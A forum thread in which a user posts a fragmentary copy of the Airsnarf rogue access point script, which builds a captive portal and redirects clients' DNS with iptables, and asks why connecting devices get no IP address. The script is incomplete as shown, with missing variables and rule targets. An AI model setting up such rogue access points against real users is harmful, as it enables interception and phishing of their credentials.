Soft AP Script not working?
hi every one. i have been trying to set up a soft ap for the last few days with varying degrees of success. first i tried airsnarf for about 2 days but then realised that it wouldnt put my card into ap mode! i am now using this script:-
# A rogue AP setup utility.
echo "Airsnarf - A rogue AP setup utility."
echo "The Shmoo Group"
# here are some variables you may want to edit
# specify another config dir with a command line arg if you want
if [ $1 ]
# create the dhcpd.conf
echo -n "Creating dhcpd.conf..."
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
# copy over the www stuff
echo -n "Building the captive portal..."
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
# set our wireless parameters
echo -n "Setting the wireless parameters..."
ifconfig $ROGUE_INTERFACE down
wlanconfig $ROGUE_INTERFACE destroy
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
ifconfig $ROGUE_INTERFACE up
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
#iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
# set our ip and default route
echo -n "Setting the ip address and default route..."
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route add -net 0.0.0.0 gw $ROGUE_GW
# restart some services
# /etc/init.d/sendmail restart
# set up the firewall to redirect
echo -n "Setting up firewall to redirect DNS..."
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
# dammit, I swear this used to work with just an OUTPUT rule...
iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT \
# start the local dns resolver
echo "Starting local DNS resolver..."
chmod +x ./bin/airsnarf_dns.pl
it will make the AP no problem. and my ipod touch sees it and can connect but it wont get a ip address from it.
can any one please try the above script and see if it works on theirs. thanks in advance
Re: Soft AP Script not working?
As soon as I come back home I will try your script. I have struggles with softap as well. However I use airbase-ng. Maybe I will be successful with your script. I will report soon.